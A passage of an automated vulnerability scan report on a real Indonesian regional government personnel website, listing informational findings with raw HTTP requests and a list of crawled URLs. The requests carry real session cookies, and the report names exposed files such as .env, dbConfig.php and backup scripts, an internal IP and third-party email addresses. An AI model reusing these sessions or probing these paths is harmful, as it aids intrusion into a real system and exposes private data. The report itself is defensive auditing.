Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Content type is not specified (verified)** |
| Severity | Informational |
| Description | These page(s) does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems. |
| Recommendations | Set a Content-Type header value for these page(s). |
| Alert variants | |
| Details | Pages where the content-type header is not specified:<br>• http://sibkd.semarangkab.go.id/services/eksternal/index.php19022019<br>• http://sibkd.semarangkab.go.id/portal/README.md<br>• http://sibkd.semarangkab.go.id/portal/.travis.yml<br>• http://sibkd.semarangkab.go.id/skp/.DS_Store<br>• http://sibkd.semarangkab.go.id/simpeg/.env<br>• http://sibkd.semarangkab.go.id/simpeg/.gitignore<br>• http://sibkd.semarangkab.go.id/skp/modules/.DS_Store<br>• http://sibkd.semarangkab.go.id/simpeg/.DS_Store<br>• http://sibkd.semarangkab.go.id/sib/README.md<br>• http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1250.map<br>• http://sibkd.semarangkab.go.id/skp/packages/upload/.DS_Store<br>• http://sibkd.semarangkab.go.id/skp/packages/.DS_Store<br>• http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1251.map |

```
GET /services/eksternal/index.php19022019 HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/services/eksternal/

Cookie: XSRF-
TOKEN=eyJpdiI6IkdsMHhacTdNUjBKTUxEWUgrWnorTFE9PSIsInZhbHVlIjoidFdhWlB0cGQ0NTFkc3JmUHNTSU8
1K01JN0pLc2JObzFDQ3JmY1pHZEhrbVwvVnpwaGRvMW1WOUZnaHZEYXhrYlVVOFlKTldwUGt1Q1VLSXFKeDZ0Qk9n
PT0iLCJtYWMiOiJiMWZlZmM2OTYwY2Q3MjJjMjgzOTdiY2FlMWNjMWM2Y2FhZDczZTMzMTliNjUxMDg3M2MwNGY4O
Dk0MWM0YjNiIn0%3D;
bkdblora2016_session_=eyJpdiI6IlYwaFVsRHkrdzlsdjhxVFo1QTZoSHc9PSIsInZhbHVlIjoiZ0tHMlZTMTB
tU3FnN1BMbXlFQVwvckg4Z2hWU0ErVm9ZbzV5ZEtINTVDSjNRQWhLM05WbFJORUduQ2JRRXAxTlMrbGtkQThHV0VW
SENSdmpWcEVMNmpBPT0iLCJtYWMiOiIwMDZiYTY2NzM3ZmVmZjJiMjQ1ODEwM2UyYTM4ZjRmMGM5ZmVlMjE5ZDcwY
jNiOTdkYTRmMzFlMGJiYWQyZjRjIn0%3D;
laravel_session=eyJpdiI6Ijk0Zm5pMCttRmtTdU1tV0tRc09OXC80enJYUFRJM2FKTDNpYjBUT2Vzam5jPSIsI
nZhbHVlIjoiR0VXYm4wUUVCUFBtXC80bW9rdUh5STJSbjhSVVJCdmZsbElQTDZrRGRscllZRUFvQWFsT1lEQkI2eF
oxVjF2QlJXZkNZUlVlblRSTWYwNnNPTFlcL0VXQT09IiwibWFjIjoiNjJjMWVkNmYwMTA0ODFiNTg4ZjA2MzIyMDM
3MjQyN2FiYjIzZGNhZjNjNGNkMDkxYmE1Zjc5MzM2MmI3MTA4YSJ9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Email addresses** |
| Severity | Informational |
| Description | One or more email addresses have been found on this website. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found. |
| Recommendations | Check references for details on how to solve this problem. |
| Alert variants | |

| | |
|---|---|
| Details | Emails found:<br><br>• http://sibkd.semarangkab.go.id/icons/ **kevinh@kevcom.com**<br>• http://sibkd.semarangkab.go.id/icons/ **mike@hyperreal.org**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **git@github.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **dtekind@gmail.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **taylorotwell@gmail.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **patrick@maatwebsite.nl**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **j.boggiano@seld.be**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **brian@nesbot.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **p@tchwork.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **pm@datasphere.ch**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **bantu@phpbb.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **petrich@tronic-media.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **suppakilla@gmail.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **igor@wiedler.ch**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **fabien@symfony.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **jeanfrancois.simon@sensiolabs.com**<br>• http://sibkd.semarangkab.go.id/skp/composer.lock **css_to_inline_styles@verkoyen.eu**<br>• http://sibkd.semarangkab.go.id/simpeg/composer.lock **mtdowling@gmail.com**<br>• http://sibkd.semarangkab.go.id/simpeg/composer.lock **graham@alt-three.com**<br>• http://sibkd.semarangkab.go.id/simpeg/composer.lock **danielst.jules@gmail.com**<br>• http://sibkd.semarangkab.go.id/simpeg/composer.lock **roman@code-factory.org** |

```
GET /icons/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/report/

Cookie: XSRF-
TOKEN=eyJpdiI6IkdsMHhacTdNUjBKTUxEWUgrWnorTFE9PSIsInZhbHVlIjoidFdhWlB0cGQ0NTFkc3JmUHNTSU8
1K01JN0pLc2JObzFDQ3JmY1pHZEhrbVwvVnpwaGRvMW1WOUZnaHZEYXhrYlVVOFlKTldwUGt1Q1VLSXFKeDZ0Qk9n
PT0iLCJtYWMiOiJiMWZlZmM2OTYwY2Q3MjJjMjgzOTdiY2FlMWNjMWM2Y2FhZDczZTMzMTliNjUxMDg3M2MwNGY4O
Dk0MWM0YjNiIn0%3D;
bkdblora2016_session_=eyJpdiI6IlYwaFVsRHkrdzlsdjhxVFo1QTZoSHc9PSIsInZhbHVlIjoiZ0tHMlZTMTB
tU3FnN1BMbXlFQVwvckg4Z2hWU0ErVm9ZbzV5ZEtINTVDSjNRQWhLM05WbFJORUduQ2JRRXAxTlMrbGtkQThHV0VW
SENSdmpWcEVMNmpBPT0iLCJtYWMiOiIwMDZiYTY2NzM3ZmVmZjJiMjQ1ODEwM2UyYTM4ZjRmMGM5ZmVlMjE5ZDcwY
jNiOTdkYTRmMzFlMGJiYWQyZjRjIn0%3D;
laravel_session=eyJpdiI6Ijk0Zm5pMCttRmtTdU1tV0tRc09OXC80enJYUFRJM2FKTDNpYjBUT2Vzam5jPSIsI
nZhbHVlIjoiR0VXYm4wUUVCUFBtXC80bW9rdUh5STJSbjhSVVJCdmZsbElQTDZrRGRscllZRUFvQWFsT1lEQkI2eF
oxVjF2QlJXZkNZUlVlblRSTWYwNnNPTFlcL0VXQT09IiwibWFjIjoiNjJjMWVkNmYwMTA0ODFiNTg4ZjA2MzIyMDM
3MjQyN2FiYjIzZGNhZjNjNGNkMDkxYmE1Zjc5MzM2MmI3MTA4YSJ9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Internal IP address disclosure** |
| Severity | Informational |
| Description | One or more strings matching an internal IPv4 address were found. These IPv4 addresses may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.<br><br>The significance of this finding should be confirmed manually. |
| Recommendations | Prevent this information from being displayed to the user. |
| Alert variants | |
| Details | Pages with internal IPs:<br><br>• http://sibkd.semarangkab.go.id/phpinfo.php<br>**172.16.100.41** |

```
GET /phpinfo.php HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Javascript Source map detected** |
| Severity | Informational |
| Description | Client side Javascript source code can be combined, minified or compiled. A source map is a file that maps from the transformed source to the original source. Source map may help an attacker to read and debug Javascript. |
| Recommendations | According to the best practices, source maps should not be accesible for an attacker. Consult web references for more information |
| Alert variants | |
| Details | URLs where links to SourceMaps were found:<br>• sourceMappingURL in JS body - http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/js/bootstrap.bundle.min.js |

```
GET /portal/vendor/bootstrap/js/bootstrap.bundle.min.js HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/portal/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **No HTTP Redirection** |
| Severity | Informational |

| | |
|---|---|
| Description | It was detected that your web application uses HTTP protocol, but doesn't automatically redirect users to HTTPS. |
| Recommendations | It's recommended to implement best practices of HTTP Redirection into your web application. Consult web references for more information |
| Alert variants | |
| Details | |

```
GET / HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **Web Server** | |
| **Alert group** | **Outdated JavaScript libraries** |
| Severity | Informational |
| Description | You are using an outdated version of one or more JavaScript libraries. A more recent version is available. Although your version was not found to be affected by any security vulnerabilities, it is recommended to keep libraries up to date. |
| Recommendations | Upgrade to the latest version. |
| Alert variants | |
| Details | • **bootstrap.js 4.1.1**<br>◦ URL: http://sibkd.semarangkab.go.id/portal/<br>◦ Detection method: The library's name and version were determined based on its dynamic behavior.<br>◦ References:<br>▪ https://github.com/twbs/bootstrap/releases |

```
GET /portal/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/portal

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **Web Server** | |
| **Alert group** | **Outdated JavaScript libraries** |
| Severity | Informational |
| Description | You are using an outdated version of one or more JavaScript libraries. A more recent version is available. Although your version was not found to be affected by any security vulnerabilities, it is recommended to keep libraries up to date. |
| Recommendations | Upgrade to the latest version. |
| Alert variants | |
| Details | • **bootstrap.js 3.3.7**<br>◦ URL: http://sibkd.semarangkab.go.id/simpeg/<br>◦ Detection method: The library's name and version were determined based on its dynamic behavior.<br>◦ References:<br>▪ https://github.com/twbs/bootstrap/releases |

```
GET /simpeg/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/simpeg

Cookie: XSRF-
TOKEN=eyJpdiI6IkZpV3Q2QnhUNFZIeENhNGZSd0VGK2c9PSIsInZhbHVlIjoiVk43WGdiODlXZVRZU1c2XC9hVTV
hckxqaG1vM3BubTVVZml3N041cGFRdjVTd0xUZEZtMzJNZHZPR1duQVwvVk1lMUhJVDQrK2xaUHZ0RHlFMEVJZGdM
dz09IiwibWFjIjoiZmY4NDA5YTQyNzU4ZmM1MzgzZWYzZmQ5MjAzMzZkMTM0ODk4ZDcyMDEwYjk3NTNiMzZmZDNhO
ThlMDVhMDZhNCJ9;
bkdblora2016_session_=eyJpdiI6IkhTcDZcL1R1dUQ2R3pUZEFWeU9oeEJnPT0iLCJ2YWx1ZSI6IlUxWFRiQmU
xTWp2Y3RobDB5UmRoU21TbktRcU8yTFwveFYxQ21xU1dRaXMzXC9yNUxPT0N3cUZacllqNTN5cGZkRSsxRCszZWFm
RDN3MzY4WHI3eElRRmc9PSIsIm1hYyI6IjA3OTMwODE1ZjEwOGNjMzA2NDZmY2ZkZTBkM2I5ZmUxY2VjNWRiMzFhM
DQ1NmI3YjY1ZDQxMDAxZDVkYjY4NzQifQ%3D%3D

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **Web Server** | |
| **Alert group** | **Outdated JavaScript libraries** |
| Severity | Informational |
| Description | You are using an outdated version of one or more JavaScript libraries. A more recent version is available. Although your version was not found to be affected by any security vulnerabilities, it is recommended to keep libraries up to date. |
| Recommendations | Upgrade to the latest version. |
| Alert variants | |

| | |
|---|---|
| Details | • **bootstrap.js 3.3.4**<br>◦ URL: http://sibkd.semarangkab.go.id/skp/<br>◦ Detection method: The library's name and version were determined based on its dynamic behavior.<br>◦ References:<br>▪ https://github.com/twbs/bootstrap/releases |

```
GET /skp/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/skp

Cookie: XSRF-
TOKEN=eyJpdiI6IlNqZ2V0dUF1aWs3OXJUK0o0TGx3a0E9PSIsInZhbHVlIjoiclNsMW5mUTBQQmxqcDlJMFZsamV
PM0ZndnczQ0RZUjZOMnRcL3E2b2pJaHR1N0tXcnFVWVE5UWJUMENzWEJBMVpLVU5DVnBIbGs4UGdPRG5jTFNkdnlB
PT0iLCJtYWMiOiI2YzExYTQ2Yjk2Y2ZiYzEwMjVlOGUxNzVmN2IxZTZiNzNjMWUyNDhlZTlkODQ1YWU5MTFlNzZiN
TZlNGQ0NWZmIn0%3D;
bkdblora2016_session_=eyJpdiI6IjRpSDY0MVg1cUpcL1wvT2tFZ01STldCQT09IiwidmFsdWUiOiJCZmdJSSt
Ua0RGYm9kQlgyQ1BwSXdiOFo2WU5FcFdVTStHb3ZxQzVQcUtGdnZHVEUrWTRNN0h0ZGpZNXE0Yk1ab1VzWDFwem5x
TWdLZW5zaDdhWU9GUT09IiwibWFjIjoiOGRkNmM2MDVlOTM3OWU0ZjNhMzk3YTJkNDQ4MDgyNWM5Y2EwYjZiZDMxM
jcxOTliZDQ2ZDlkMGRhNTM5MDJhMCJ9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **Web Server** | |
| **Alert group** | **Outdated JavaScript libraries** |
| Severity | Informational |
| Description | You are using an outdated version of one or more JavaScript libraries. A more recent version is available. Although your version was not found to be affected by any security vulnerabilities, it is recommended to keep libraries up to date. |
| Recommendations | Upgrade to the latest version. |
| Alert variants | |
| Details | • **Chart.js 2.4.0**<br>◦ URL: http://sibkd.semarangkab.go.id/sib/assets/js/lib/chart-js/Chart.bundle.js<br>◦ Detection method: The library's name and version were determined based on the file's contents.<br>◦ References:<br>▪ https://github.com/chartjs/Chart.js/releases |

```
GET /sib/assets/js/lib/chart-js/Chart.bundle.js HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/sib/pages/index.php

Cookie: XSRF-
TOKEN=eyJpdiI6IkdsMHhacTdNUjBKTUxEWUgrWnorTFE9PSIsInZhbHVlIjoidFdhWlB0cGQ0NTFkc3JmUHNTSU8
1K01JN0pLc2JObzFDQ3JmY1pHZEhrbVwvVnpwaGRvMW1WOUZnaHZEYXhrYlVVOFlKTldwUGt1Q1VLSXFKeDZ0Qk9n
PT0iLCJtYWMiOiJiMWZlZmM2OTYwY2Q3MjJjMjgzOTdiY2FlMWNjMWM2Y2FhZDczZTMzMTliNjUxMDg3M2MwNGY4O
Dk0MWM0YjNiIn0%3D;
bkdblora2016_session_=eyJpdiI6IlYwaFVsRHkrdzlsdjhxVFo1QTZoSHc9PSIsInZhbHVlIjoiZ0tHMlZTMTB
tU3FnN1BMbXlFQVwvckg4Z2hWU0ErVm9ZbzV5ZEtINTVDSjNRQWhLM05WbFJORUduQ2JRRXAxTlMrbGtkQThHV0VW
SENSdmpWcEVMNmpBPT0iLCJtYWMiOiIwMDZiYTY2NzM3ZmVmZjJiMjQ1ODEwM2UyYTM4ZjRmMGM5ZmVlMjE5ZDcwY
jNiOTdkYTRmMzFlMGJiYWQyZjRjIn0%3D;
laravel_session=eyJpdiI6IlExaUNPRSs5bGttNHZrNDNJWDM2Q2g3MGh6cGtLYjNpdUtYakgrVWN4XC80PSIsI
nZhbHVlIjoiTTZxSFpZbnhPc1BSeUxiZGphMkRzcjJsb2wyZzJ5MzFkTGRjS2JFY0dRTzc1RktYSjlVWFdsNjhuNn
NhZXNwS0c0NzRoYUxBWkNkTVJocmhFWjVMMlE9PSIsIm1hYyI6IjJiNmFlY2UwZDdlZGNmYTc5MTg4MDc0NzNhZDY
0MmJjYTBmM2EwMDgyZjhmZjVmOWViMjU1OTRjMTkzZTU0MmYifQ%3D%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Permissions-Policy header not implemented** |
| Severity | Informational |
| Description | The Permissions-Policy header allows developers to selectively enable and disable use of various browser features and APIs. |
| Recommendations | |
| Alert variants | |

| | |
|---|---|
| Details | Locations without Permissions-Policy header:<br><br>• http://sibkd.semarangkab.go.id/<br>• http://sibkd.semarangkab.go.id/index<br>• http://sibkd.semarangkab.go.id/phpinfo.php<br>• http://sibkd.semarangkab.go.id/index.php<br>• http://sibkd.semarangkab.go.id/portal/<br>• http://sibkd.semarangkab.go.id/sib/<br>• http://sibkd.semarangkab.go.id/sib/module/login.php<br>• http://sibkd.semarangkab.go.id/simpeg/<br>• http://sibkd.semarangkab.go.id/skp/<br>• http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/fonts<br>• http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/<br>• http://sibkd.semarangkab.go.id/download/<br>• http://sibkd.semarangkab.go.id/profile/<br>• http://sibkd.semarangkab.go.id/report/<br>• http://sibkd.semarangkab.go.id/services/<br>• http://sibkd.semarangkab.go.id/icons/<br>• http://sibkd.semarangkab.go.id/report/Badan%20Kepegawaian%20Daerah/<br>• http://sibkd.semarangkab.go.id/services/eksternal/<br>• http://sibkd.semarangkab.go.id/icons/small/<br>• http://sibkd.semarangkab.go.id/report/auto_backup.html<br>• http://sibkd.semarangkab.go.id/download/index.php |

```
GET / HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **Web Server** | |
| **Alert group** | **PHP Version Disclosure** |
| Severity | Informational |
| Description | The web server is sending the X-Powered-By: response headers, revealing the PHP version. |
| Recommendations | Configure your web server to prevent information leakage from its HTTP response. |
| Alert variants | |
| Details | Version detected: **PHP/5.6.22**. |

| | |
|---|---|
| **/sib/pages/index.php** | |
| **Alert group** | **Subresource Integrity (SRI) not implemented** |

| | |
|---|---|
| Severity | Informational |
| Description | Subresource Integrity (SRI) is a security feature that enables browsers to verify that third-party resources they fetch (for example, from a CDN) are delivered without unexpected manipulation. It works by allowing developers to provide a cryptographic hash that a fetched file must match.<br><br>Third-party resources (such as scripts and stylesheets) can be manipulated. An attacker that has access or has hacked the hosting CDN can manipulate or replace the files. SRI allows developers to specify a base64-encoded cryptographic hash of the resource to be loaded. The integrity attribute containing the hash is then added to the <script> HTML element tag. The integrity string consists of a base64-encoded hash, followed by a prefix that depends on the hash algorithm. This prefix can either be sha256, sha384 or sha512.<br><br>The script loaded from the external URL specified in the Details section doesn't implement Subresource Integrity (SRI). It's recommended to implement Subresource Integrity (SRI) for all the scripts loaded from external hosts. |
| Recommendations | Use the SRI Hash Generator link (from the References section) to generate a <script> element that implements Subresource Integrity (SRI).<br><br>For example, you can use the following <script> element to tell a browser that before executing the https://example.com/example-framework.js script, the browser must first compare the script to the expected hash, and verify that there's a match.<br><br>`<script src="https://example.com/example-framework.js"`<br>`integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HN`<br>`crossorigin="anonymous"></script>` |
| Alert variants | |
| Details | Pages where SRI is not implemented:<br><br>• http://sibkd.semarangkab.go.id/sib/pages/index.php<br>Script SRC:<br>**https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js** |

```
GET /sib/pages/index.php?judul=Pengumuman&page=main HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/sib/main.php

Cookie: XSRF-
TOKEN=eyJpdiI6IkdsMHhacTdNUjBKTUxEWUgrWnorTFE9PSIsInZhbHVlIjoidFdhWlB0cGQ0NTFkc3JmUHNTSU8
1K01JN0pLc2JObzFDQ3JmY1pHZEhrbVwvVnpwaGRvMW1WOUZnaHZEYXhrYlVVOFlKTldwUGt1Q1VLSXFKeDZ0Qk9n
PT0iLCJtYWMiOiJiMWZlZmM2OTYwY2Q3MjJjMjgzOTdiY2FlMWNjMWM2Y2FhZDczZTMzMTliNjUxMDg3M2MwNGY4O
Dk0MWM0YjNiIn0%3D;
bkdblora2016_session_=eyJpdiI6IlYwaFVsRHkrdzlsdjhxVFo1QTZoSHc9PSIsInZhbHVlIjoiZ0tHMlZTMTB
tU3FnN1BMbXlFQVwvckg4Z2hWU0ErVm9ZbzV5ZEtINTVDSjNRQWhLM05WbFJORUduQ2JRRXAxTlMrbGtkQThHV0VW
SENSdmpWcEVMNmpBPT0iLCJtYWMiOiIwMDZiYTY2NzM3ZmVmZjJiMjQ1ODEwM2UyYTM4ZjRmMGM5ZmVlMjE5ZDcwY
jNiOTdkYTRmMzFlMGJiYWQyZjRjIn0%3D;
laravel_session=eyJpdiI6Ijk0Zm5pMCttRmtTdU1tV0tRc09OXC80enJYUFRJM2FKTDNpYjBUT2Vzam5jPSIsI
nZhbHVlIjoiR0VXYm4wUUVCUFBtXC80bW9rdUh5STJSbjhSVVJCdmZsbElQTDZrRGRscllZRUFvQWFsT1lEQkI2eF
oxVjF2QlJXZkNZUlVlblRSTWYwNnNPTFlcL0VXQT09IiwibWFjIjoiNjJjMWVkNmYwMTA0ODFiNTg4ZjA2MzIyMDM
3MjQyN2FiYjIzZGNhZjNjNGNkMDkxYmE1Zjc5MzM2MmI3MTA4YSJ9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

## Scanned items (coverage report)

http://sibkd.semarangkab.go.id/
http://sibkd.semarangkab.go.id/auth
http://sibkd.semarangkab.go.id/download/
http://sibkd.semarangkab.go.id/download/index.php
http://sibkd.semarangkab.go.id/epersonal
http://sibkd.semarangkab.go.id/epersonal/
http://sibkd.semarangkab.go.id/epersonal/biodata
http://sibkd.semarangkab.go.id/icons/
http://sibkd.semarangkab.go.id/icons/small/
http://sibkd.semarangkab.go.id/index
http://sibkd.semarangkab.go.id/index.php
http://sibkd.semarangkab.go.id/modules
http://sibkd.semarangkab.go.id/packages
http://sibkd.semarangkab.go.id/packages/
http://sibkd.semarangkab.go.id/packages/photo
http://sibkd.semarangkab.go.id/packages/photo/
http://sibkd.semarangkab.go.id/packages/photo/1
http://sibkd.semarangkab.go.id/packages/tugumuda/
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/bootstrap/
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/bootstrap/fonts
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/bootstrap/js
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/ckeditor
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/css
http://sibkd.semarangkab.go.id/packages/tugumuda/claravel/assets/plugins/font-awesome/fonts
http://sibkd.semarangkab.go.id/packages/upload
http://sibkd.semarangkab.go.id/packages/upload/
http://sibkd.semarangkab.go.id/packages/upload/icon
http://sibkd.semarangkab.go.id/packages/upload/photo
http://sibkd.semarangkab.go.id/packages/upload/users
http://sibkd.semarangkab.go.id/phpinfo.php
http://sibkd.semarangkab.go.id/portal
http://sibkd.semarangkab.go.id/portal/
http://sibkd.semarangkab.go.id/portal/.travis.yml
http://sibkd.semarangkab.go.id/portal/css/
http://sibkd.semarangkab.go.id/portal/css/heroic-features.css
http://sibkd.semarangkab.go.id/portal/index.php
http://sibkd.semarangkab.go.id/portal/package-lock.json
http://sibkd.semarangkab.go.id/portal/package.json
http://sibkd.semarangkab.go.id/portal/README.md
http://sibkd.semarangkab.go.id/portal/vendor/
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/bootstrap-grid.css
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/bootstrap-grid.min.css
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/bootstrap-reboot.css
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/bootstrap-reboot.min.css
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/bootstrap.css
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/bootstrap.css.map
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/bootstrap.min.css
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/bootstrap.min.css.map
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/js/
http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/js/bootstrap.bundle.min.js
http://sibkd.semarangkab.go.id/portal/vendor/jquery/
http://sibkd.semarangkab.go.id/portal/vendor/jquery/jquery.min.js

http://sibkd.semarangkab.go.id/profile/
http://sibkd.semarangkab.go.id/profile/index.php
http://sibkd.semarangkab.go.id/report/
http://sibkd.semarangkab.go.id/report/auto_backup.html
http://sibkd.semarangkab.go.id/report/backup.php
http://sibkd.semarangkab.go.id/report/Badan Kepegawaian Daerah/
http://sibkd.semarangkab.go.id/report/dbConfig.php
http://sibkd.semarangkab.go.id/report/double_klick.html
http://sibkd.semarangkab.go.id/report/new_backup.php
http://sibkd.semarangkab.go.id/report/pdf/
http://sibkd.semarangkab.go.id/report/pdf/changelog.htm
http://sibkd.semarangkab.go.id/report/pdf/doc/
http://sibkd.semarangkab.go.id/report/pdf/FAQ.htm
http://sibkd.semarangkab.go.id/report/pdf/font/
http://sibkd.semarangkab.go.id/report/pdf/font/courier.php
http://sibkd.semarangkab.go.id/report/pdf/font/courierb.php
http://sibkd.semarangkab.go.id/report/pdf/font/courierbi.php
http://sibkd.semarangkab.go.id/report/pdf/font/courieri.php
http://sibkd.semarangkab.go.id/report/pdf/font/helvetica.php
http://sibkd.semarangkab.go.id/report/pdf/font/helveticab.php
http://sibkd.semarangkab.go.id/report/pdf/font/helveticabi.php
http://sibkd.semarangkab.go.id/report/pdf/font/helveticai.php
http://sibkd.semarangkab.go.id/report/pdf/font/symbol.php
http://sibkd.semarangkab.go.id/report/pdf/font/times.php
http://sibkd.semarangkab.go.id/report/pdf/font/timesb.php
http://sibkd.semarangkab.go.id/report/pdf/font/timesbi.php
http://sibkd.semarangkab.go.id/report/pdf/font/timesi.php
http://sibkd.semarangkab.go.id/report/pdf/font/zapfdingbats.php
http://sibkd.semarangkab.go.id/report/pdf/fpdf.css
http://sibkd.semarangkab.go.id/report/pdf/fpdf.php
http://sibkd.semarangkab.go.id/report/pdf/install.txt
